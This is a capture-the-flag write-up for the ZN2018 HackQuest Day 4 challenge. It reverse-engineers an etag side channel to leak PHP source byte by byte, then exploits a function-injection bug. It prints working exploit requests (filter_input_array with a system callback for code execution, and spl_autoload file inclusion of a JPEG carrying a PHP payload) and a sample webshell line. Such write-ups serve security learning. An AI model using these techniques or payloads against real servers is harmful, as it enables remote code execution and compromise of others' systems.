R0 CREW

ZN2018 HackQuest Day 4

ZN2018 HackQuest Day 4

Description:

Hint:

File: attach.7z (7.48 KB)

Overview:

Executable:

  • ELF x86_64.
  • Implements simple http server.
  • If requested file has executable bit, then its passed to php-fpm
  • Code implements custom etag caching.

Web part:

  • Has file upload functionality. Image can be modified using predefined filters.
  • Admin page with Basic on /?admin=show

Vulnerability: Source code reading

Cache functionality seems interesting, because we can get server to hash arbitrary range of file (even 1 byte range).

Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);

hash_function:

def etag_hash(data):
    v16 = [0 for _ in range(16)]
    v16[0] = 0
    v16[1] = 0x1DB71064
    v16[2] = 0x3B6E20C8
    v16[3] = 0x26D930AC
    v16[4] = 0x76DC4190
    v16[5] = 0x6B6B51F4
    v16[6] = 0x4DB26158
    v16[7] = 0x5005713C
    v16[8] = 0xEDB88320
    v16[9] = 0xF00F9344
    v16[10] = 0xD6D6A3E8
    v16[11] = 0xCB61B38C
    v16[12] = 0x9B64C2B0
    v16[13] = 0x86D3D2D4
    v16[14] = 0xA00AE278
    v16[15] = 0xBDBDF21C
    hash = 0xffffffff
    for i in range(len(data)):
        v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff
        hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff
    return (~hash) & 0xffffffff

Unfortunately etag is stripped for executable files (*.php):

  stat_0(v2, &stat_buf);
  if ( stat_buf.st_mode & S_IEXEC )
  {
    setHeader(a2->respo, "cache-control", "no-store");
    deleteHeade(a2->respo, "etag");
    set_environment_info(a1);
    dup2(fd, 0);
    snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);

Still there is a check before page execution, so if we correctly guess etag value (if-none-match), than the server will serve us a 304 Not Modified status response. Using this we can bruteforce source code byte by byte.

  v11 = getHeader(&s.request, "if-modified-since");
  if ( v11 )
  {
    v3 = getHeader(&v14, "last-modified");
    if ( !strcmp(v11, v3) )
      send_status(304);
  }
  v12 = getHeader(&s.request, "if-none-match");
  if ( v12 )
  {
    v4 = getHeader(&v14, "etag");
    if ( !strcmp(v12, v4) )
      send_status(304);
  }
  exec_and_prepare_response_body(&s, &a2a);

Lets summarize what we have got from RE:

  1. Timestamp is easily readed from last-modified response header (string - > timestamp).
  2. Range allows to be one byte length (so we will get hash for only one byte)
  3. Hash can be guessed for 1 byte range (256 possible values)
  4. Size is bruteforceable, but we need to know at least one byte from target file.
  5. Since we would like to get source for *.php files, its a good assumption, that the file is starting with “<?php”.

First step will be getting size, and the second is getting actual file contents.
With multi threaded code I reached the speed of ~1 char/sec, and dumped some files:

index.php
<?php
// error_reporting(0);

if (isset($_GET["admin"]) && (!isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW'] !== '888b2f04eef9a49fc87fa81089b736de')) {
    header('WWW-Authenticate: Basic realm="Admin Area"');
    header('HTTP/1.0 401 Unauthorized');
}

require "upload.php";
$uploader = new ImageUploader();

$result = $uploader->upload();
if ($result === true) die();
if ($result > 0) {
    echo "Error: " . $result;
}

if ($uploader->upload() !== true) {
    include "templates/main.php";
}
upload.php
<?php
require "includes/uploaderror.php";
require "includes/verify.php";
require "includes/filters.php";

class ImageUploader {
    const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/";

    public function upload() {
        $result = verify_parameters();
        if ($result !== true) {
            return $result;
        }

        $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
        $size = intval($_POST['size']);
        if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) {
            return UploadError::MOVE_ERROR;
        }

        $text = $_POST['text'];

        $filterImage = $_POST['filter']($size, $text);

        $imagick = new \Imagick(realpath($target_file));
        $imagick->scaleimage($size, $size);
        $imagick->setImageOpacity(0.5);

        $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0);

        header("Content-Type: image/jpeg");
        echo $imagick->getImageBlob();

        return true;
    }
}
includes/filters.php
<?php
function make_text($image, $size, $text) {
    $draw = new ImagickDraw();
    $draw->setFillColor('white');
    $draw->setFontSize( 18 );
    $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text);
    return $image;
}

function futut($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    $image->setImageFormat('png');
    return $image;
}

function incasinato($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(130,100,255,3)' );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    $image->setImageFormat('png');
    return $image;
}

function fertocht($size, $text) {
    $image = new Imagick();
    $s = $size % 255;
    $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" );
    $image->newImage($size, $size, $pixel);
    $image = make_text($image, $size, $text);
    $image->setImageFormat('png');
    return $image;
}

function jebeno($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(0,255,255,255)' );
    $image->newImage($size, $size, $pixel);

    $iterator = $image->getPixelIterator();
    $i = 0;
    foreach ($iterator as $row=>$pixels) {
        $i++;
        $j=0;
        foreach ( $pixels as $col=>$pixel ) {
            $j++;
            $color = $pixel->getColor();
            $alpha = $pixel->getColor(true);
            $r = ($color['r']+$i*10) % 255;
            $g = ($color['g']-$j) % 255;
            $b = ($color['b']-($size-$j)) % 255;
            $a = ($alpha['a']) % 255;
            $pixel->setColor("rgba($r,$g,$b,$a)");
        }
        $iterator->syncIterator();
    }
    $image = make_text($image, $size, $text);
    $image->setImageFormat('png');
    return $image;
}

function kuthamanga($size, $text) {
    $image = new Imagick();
    $pixel = new ImagickPixel( 'rgba(127,127,127,127)' );
    $image->newImage($size, $size, $pixel);
    $iterator = $image->getPixelIterator();
    $i = 0;
    foreach ($iterator as $row=>$pixels) {
        $i++;
        $j=0;
        foreach ( $pixels as $col=>$pixel ) {
            $j++;
            $color = $pixel->getColor();
            $alpha = $pixel->getColor(true);
            $r = ($color['r']+$i) % 255;
            $g = ($color['g']-$j) % 255;
            $b = ($color['b']-$i) % 255;
            $a = ($alpha['a']+$j) % 255;
            $pixel->setColor("rgba($r,$g,$b,$a)");
        }
        $iterator->syncIterator();
    }
    $image = make_text($image, $size, $text);
    $image->setImageFormat('png');
    return $image;
}
includes/uploaderror.php
<?php
class UploadError {
    const POST_SUBMIT = 0;
    const IMAGE_NOT_FOUND = 1;
    const NOT_IMAGE = 2;
    const FILE_EXISTS = 3;
    const BIG_SIZE = 4;
    const INCORRECT_EXTENSION = 5;
    const INCORRECT_MIMETYPE = 6;
    const INVALID_PARAMS = 7;
    const INCORRECT_SIZE = 8;
    const MOVE_ERROR = 9;
}
includes/verify.php
<?php
function verify_parameters() {
    if (!isset($_POST['submit'])) {
        return UploadError::POST_SUBMIT;
    }

    if (!isset($_FILES['imageFile'])) {
        return UploadError::IMAGE_NOT_FOUND;
    }

    $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
    $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION));
    $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]);

    if($imageFileInfo === false) {
        return UploadError::NOT_IMAGE;
    }

    if ($_FILES["imageFile"]["size"] > 1024*32) {
        return UploadError::BIG_SIZE;
    }

    if (!in_array($imageFileType, ['jpg'])) {
        return UploadError::INCORRECT_EXTENSION;
    }

    $imageMimeType = $imageFileInfo['mime'];

    if ($imageMimeType !== 'image/jpeg') {
        return UploadError::INCORRECT_MIMETYPE;
    }

    if (file_exists($target_file)) {
        return UploadError::FILE_EXISTS;
    }

    if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) {
        return UploadError::INVALID_PARAMS;
    }

    $size = intval($_POST['size']);
    if (($size <= 0) || ($size > 512)) {
        return UploadError::INCORRECT_SIZE;
    }
    
    return true;
}

This gives us:

  • Username / password for Admin Basic. Completely useless, it only prints string:
  • Function Injection (FI) on ‘filter’ input.
  • Image upload validation is now clear for us.
  • ImageMagic library is used. Assuming that it is used for exploit is a deadend. I don’t think there is any way to exploit it without relying on FI.

Vulnerability: Function Injection

File upload.php has some suspicious code:

$filterImage = $_POST['filter']($size, $text);

We can simplify it to:

$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);

You can actually detect this vulnerability just by doing some fuzzing. Sending function names like “var_dump” or “debug_zval_dump” in ‘filter’ input will result in interesting responses from the server.

int(51)
string(10) "jsdksjdksds"

So, its not hard to guess how server side code looks like.

If we had an write permission to www root, than we could just use two functions:

file_put_contents(0, "<?php system($_GET[a]);")
chmod(0, 777)

But it is not our case.

There are at least two ways of solving the task.

filter_input_array vector (unintended solution): RCE vector

While thinking of possible ways to get RCE, I noticed that function filter_input_array gives us pretty good control over $filterImage variable.
Passing filter array as second argument, will allow as to build arbitrary array on function result.

But ImageMagic is not expecting to get anything besides Imagick class. :frowning:

May be we can unserialize class from input? Let’s look for additional filter arguments at filter_input_array description.

It is not mentioned on the function page itself, but we can actually pass a callback for input validation. FILTER_CALLBACK example is for filter_input, but it works for filter_input_array, too!

This means that we can “validate” custom user inputs using function with one argument (eval? system?), and we have control over the argument.

Example for getting RCE:

[B]GET:[/B]
a=/get_the_flag

[B]POST:[/B]
filter=filter_input_array
size=1
text[a][filter]=1024
text[a][options]=system
submit=1

Response:

*** Wooooohooo! ***

Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37

-- SPbCTF (vk.com/spbctf)

Something was definitely feeling wrong, because why would we even need to get the source code? Just for a hint? Why uploaded files was stored on disk, isn’t it more convenient not to store junk files from the challenge users?

Coincidence in naming filter=filter_input_array, text[a][filter] gave me a confidence that everything was done as expected (“never-before-seen filters”, check ✓).

spl_autoload vector: LFI vector

After submitting solution I got contacted by one of the challenge authors, who said that my vector was not intended and another function can be used (spl_autoload):

It is not obvious how we can use this function because as it supposed to load a class “<class_name>” from the file named “<class_name><some_extension>”. Signature is following:

void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )

Our first argument can only be number (1-512), so the class name is a … number? … weird.
Extension argument is also looks unusable, controlled files are one level deeper than upload.php (we need to pass a prefix).

This function can actually give us an LFI if used this way:

spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")

Directory name is acquired from the leaked source code. And we got lucky, because if the first character of name was anything besides number -> we could not include files from there.

So… all we need now is to pass a “kind-of-valid” (getimagesize must accept it) *.jpg file with php code emended. Simple example (php payload in exif) is attached.

Upload it as 1111.jpg, and do:

[B]GET:[/B]
a=/get_the_flag

[B]POST:[/B]
filter=spl_autoload
size=51
text=a8ae2cab09c6b728919fe09af57ded/1111.jpg
submit=1

Response:

... .JFIF ... Exif  MM *   .   " (.   .  .i . .   D  .   D  ..   V    ..     
*** Wooooohooo! ***

Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37

-- SPbCTF (vk.com/spbctf)

Upload and LFI can be done in one request.